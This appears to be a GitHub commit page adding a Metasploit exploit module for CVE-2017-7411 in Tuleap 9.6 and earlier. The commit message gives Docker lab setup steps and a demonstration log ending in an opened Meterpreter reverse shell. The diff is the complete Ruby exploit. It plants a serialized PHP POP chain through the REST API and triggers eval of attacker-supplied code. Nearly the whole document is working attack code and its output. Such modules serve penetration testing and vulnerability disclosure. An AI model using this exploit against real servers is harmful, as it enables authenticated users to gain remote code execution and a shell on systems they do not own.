Skip to content

Commit 6985e1b

Browse files
authored
Add module for CVE-2017-7411: Tuleap <= 9.6 Second-Order PHP Object Injection
This PR contains a module to exploit [CVE-2017-7411](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7411), a Second-Order PHP Object Injection vulnerability in Tuleap before version 9.7 that might allow authenticated users to execute arbitrary code with the permissions of the webserver. The module has been tested successfully with Tuleap versions 9.6, 8.19, and 8.8 deployed in a Docker container. ## Verification Steps The quickest way to install an old version of Tuleap is through a Docker container. So install Docker on your system and go through the following steps: 1. Run `docker volume create --name tuleap` 2. Run `docker run -ti -e VIRTUAL_HOST=localhost -p 80:80 -p 443:443 -p 22:22 -v tuleap:/data enalean/tuleap-aio:9.6` 3. Run the following command in order to get the "Site admin password": `docker exec -ti <container_name> cat /data/root/.tuleap_passwd` 4. Go to `https://localhost/account/login.php` and log in as the "admin" user 5. Go to `https://localhost/admin/register_admin.php?page=admin_creation` and create a new user (NOT Restricted User) 6. Open a new browser session and log in as the newly created user 7. From this session go to `https://localhost/project/register.php` and make a new project (let's name it "test") 8. Come back to the admin session, go to `https://localhost/admin/approve-pending.php` and click on "Validate" 9. From the user session you can now browse to `https://localhost/projects/test/` and click on "Trackers" -> "Create a New Tracker" 10. Make a new tracker by choosing e.g. the "Bugs" template, fill all the fields and click on "Create" 11. Click on "Submit new artifact", fill all the fields and click on "Submit" 12. You can now test the MSF module by using the user account created at step n.5 NOTE: successful exploitation of this vulnerability requires an user account with permissions to submit a new Tracker artifact or access already existing artifacts, which means it might be exploited also by a "Restricted User". ## Demonstration ``` msf > use exploit/unix/webapp/tuleap_rest_unserialize_exec msf exploit(tuleap_rest_unserialize_exec) > set RHOST localhost msf exploit(tuleap_rest_unserialize_exec) > set USERNAME test msf exploit(tuleap_rest_unserialize_exec) > set PASSWORD p4ssw0rd msf exploit(tuleap_rest_unserialize_exec) > check [*] Trying to login through the REST API... [+] Login successful with test:p4ssw0rd [*] Updating user preference with POP chain string... [*] Retrieving the CSRF token for login... [+] CSRF token: 089d56ffc3888c5bc90220f843f582aa [+] Login successful with test:p4ssw0rd [*] Triggering the POP chain... [+] localhost:443 The target is vulnerable. msf exploit(tuleap_rest_unserialize_exec) > set PAYLOAD php/meterpreter/reverse_tcp msf exploit(tuleap_rest_unserialize_exec) > ifconfig docker0 | grep "inet:" | awk -F'[: ]+' '{ print $4 }' msf exploit(tuleap_rest_unserialize_exec) > set LHOST 172.17.0.1 msf exploit(tuleap_rest_unserialize_exec) > exploit [*] Started reverse TCP handler on 172.17.0.1:4444 [*] Trying to login through the REST API... [+] Login successful with test:p4ssw0rd [*] Updating user preference with POP chain string... [*] Retrieving the CSRF token for login... [+] CSRF token: 01acd8380d98c587b37ddd75ba8ff6f7 [+] Login successful with test:p4ssw0rd [*] Triggering the POP chain... [*] Sending stage (33721 bytes) to 172.17.0.2 [*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:56572) at 2017-11-01 16:07:01 +0100 meterpreter > getuid Server username: codendiadm (497) ```
1 parent a347dee commit 6985e1b

File tree

1 file changed

+187
-0
lines changed

1 file changed

+187
-0
lines changed
Lines changed: 187 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,187 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Tuleap 9.6 Second-Order PHP Object Injection',
16+
'Description' => %q{
17+
This module exploits a Second-Order PHP Object Injection vulnerability in Tuleap <= 9.6 which
18+
could be abused by authenticated users to execute arbitrary PHP code with the permissions of the
19+
webserver. The vulnerability exists because of the User::getRecentElements() method is using the
20+
unserialize() function with data that can be arbitrarily manipulated by a user through the REST
21+
API interface. The exploit's POP chain abuses the __toString() method from the Mustache class
22+
to reach a call to eval() in the Transition_PostActionSubFactory::fetchPostActions() method.
23+
},
24+
'Author' => 'EgiX',
25+
'License' => MSF_LICENSE,
26+
'References' =>
27+
[
28+
['URL', 'http://karmainsecurity.com/KIS-2017-02'],
29+
['URL', 'https://tuleap.net/plugins/tracker/?aid=10118'],
30+
['CVE', '2017-7411']
31+
],
32+
'Privileged' => false,
33+
'Platform' => ['php'],
34+
'Arch' => ARCH_PHP,
35+
'Targets' => [ ['Tuleap <= 9.6', {}] ],
36+
'DefaultTarget' => 0,
37+
'DisclosureDate' => 'Oct 23 2017'
38+
))
39+
40+
register_options(
41+
[
42+
OptString.new('TARGETURI', [true, "The base path to the web application", "/"]),
43+
OptString.new('USERNAME', [true, "The username to authenticate with" ]),
44+
OptString.new('PASSWORD', [true, "The password to authenticate with" ]),
45+
OptString.new('AID', [ false, "The Artifact ID you have access to", "1"]),
46+
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
47+
Opt::RPORT(443)
48+
], self.class)
49+
end
50+
51+
def setup_popchain(random_param)
52+
print_status("Trying to login through the REST API...")
53+
54+
user = datastore['USERNAME']
55+
pass = datastore['PASSWORD']
56+
57+
res = send_request_cgi({
58+
'method' => 'POST',
59+
'uri' => normalize_uri(target_uri.path, 'api/tokens'),
60+
'ctype' => 'application/json',
61+
'data' => {'username' => user, 'password' => pass}.to_json
62+
})
63+
64+
unless res and (res.code == 201 or res.code == 200) and res.body
65+
msg = "Login failed with #{user}:#{pass}"
66+
if $is_check then print_error(msg) end
67+
fail_with(Failure::NoAccess, msg)
68+
end
69+
70+
body = JSON.parse(res.body)
71+
uid = body['user_id'];
72+
token = body['token'];
73+
74+
print_good("Login successful with #{user}:#{pass}")
75+
print_status("Updating user preference with POP chain string...")
76+
77+
php_code = "null;eval(base64_decode($_POST['#{random_param}']));//"
78+
79+
pop_chain = 'a:1:{i:0;a:1:{'
80+
pop_chain << 's:2:"id";O:8:"Mustache":2:{'
81+
pop_chain << 'S:12:"\00*\00_template";'
82+
pop_chain << 's:42:"{{#fetchPostActions}}{{/fetchPostActions}}";'
83+
pop_chain << 'S:11:"\00*\00_context";a:1:{'
84+
pop_chain << 'i:0;O:34:"Transition_PostAction_FieldFactory":1:{'
85+
pop_chain << 'S:23:"\00*\00post_actions_classes";a:1:{'
86+
pop_chain << "i:0;s:#{php_code.length}:\"#{php_code}\";}}}}}}"
87+
88+
pref = {'id' => uid, 'preference' => {'key' => 'recent_elements', 'value' => pop_chain}}
89+
90+
res = send_request_cgi({
91+
'method' => 'PATCH',
92+
'uri' => normalize_uri(target_uri.path, "api/users/#{uid}/preferences"),
93+
'ctype' => 'application/json',
94+
'headers' => {'X-Auth-Token' => token, 'X-Auth-UserId' => uid},
95+
'data' => pref.to_json
96+
})
97+
98+
unless res and res.code == 200
99+
msg = "Something went wrong"
100+
if $is_check then print_error(msg) end
101+
fail_with(Failure::UnexpectedReply, msg)
102+
end
103+
end
104+
105+
def do_login()
106+
print_status("Retrieving the CSRF token for login...")
107+
108+
res = send_request_cgi({
109+
'method' => 'GET',
110+
'uri' => normalize_uri(target_uri.path, 'account/login.php')
111+
})
112+
113+
if res and res.code == 200 and res.body and res.get_cookies
114+
if res.body =~ /name="challenge" value="(\w+)">/
115+
csrf_token = $1
116+
print_good("CSRF token: #{csrf_token}")
117+
else
118+
print_warning("CSRF token not found. Trying to login without it...")
119+
end
120+
else
121+
msg = "Failed to retrieve the login page"
122+
if $is_check then print_error(msg) end
123+
fail_with(Failure::NoAccess, msg)
124+
end
125+
126+
user = datastore['USERNAME']
127+
pass = datastore['PASSWORD']
128+
129+
res = send_request_cgi({
130+
'method' => 'POST',
131+
'cookie' => res.get_cookies,
132+
'uri' => normalize_uri(target_uri.path, 'account/login.php'),
133+
'vars_post' => {'form_loginname' => user, 'form_pw' => pass, 'challenge' => csrf_token}
134+
})
135+
136+
unless res and res.code == 302
137+
msg = "Login failed with #{user}:#{pass}"
138+
if $is_check then print_error(msg) end
139+
fail_with(Failure::NoAccess, msg)
140+
end
141+
142+
print_good("Login successful with #{user}:#{pass}")
143+
res.get_cookies
144+
end
145+
146+
def exec_php(php_code)
147+
random_param = rand_text_alpha(10)
148+
149+
setup_popchain(random_param)
150+
session_cookies = do_login()
151+
152+
print_status("Triggering the POP chain...")
153+
154+
res = send_request_cgi({
155+
'method' => 'POST',
156+
'uri' => normalize_uri(target_uri.path, "plugins/tracker/?aid=#{datastore['AID']}"),
157+
'cookie' => session_cookies,
158+
'vars_post' => {random_param => Rex::Text.encode_base64(php_code)}
159+
})
160+
161+
if res and res.code == 200 and res.body =~ /Exiting with Error/
162+
msg = "No access to Artifact ID #{datastore['AID']}"
163+
$is_check ? print_error(msg) : fail_with(Failure::NoAccess, msg)
164+
end
165+
166+
res
167+
end
168+
169+
def check
170+
$is_check = true
171+
flag = rand_text_alpha(rand(10)+20)
172+
res = exec_php("print '#{flag}';")
173+
174+
if res and res.code == 200 and res.body =~ /#{flag}/
175+
return Exploit::CheckCode::Vulnerable
176+
elsif res and res.body =~ /Exiting with Error/
177+
return Exploit::CheckCode::Unknown
178+
end
179+
180+
Exploit::CheckCode::Safe
181+
end
182+
183+
def exploit
184+
$is_check = false
185+
exec_php(payload.encoded)
186+
end
187+
end

0 commit comments

Comments
 (0)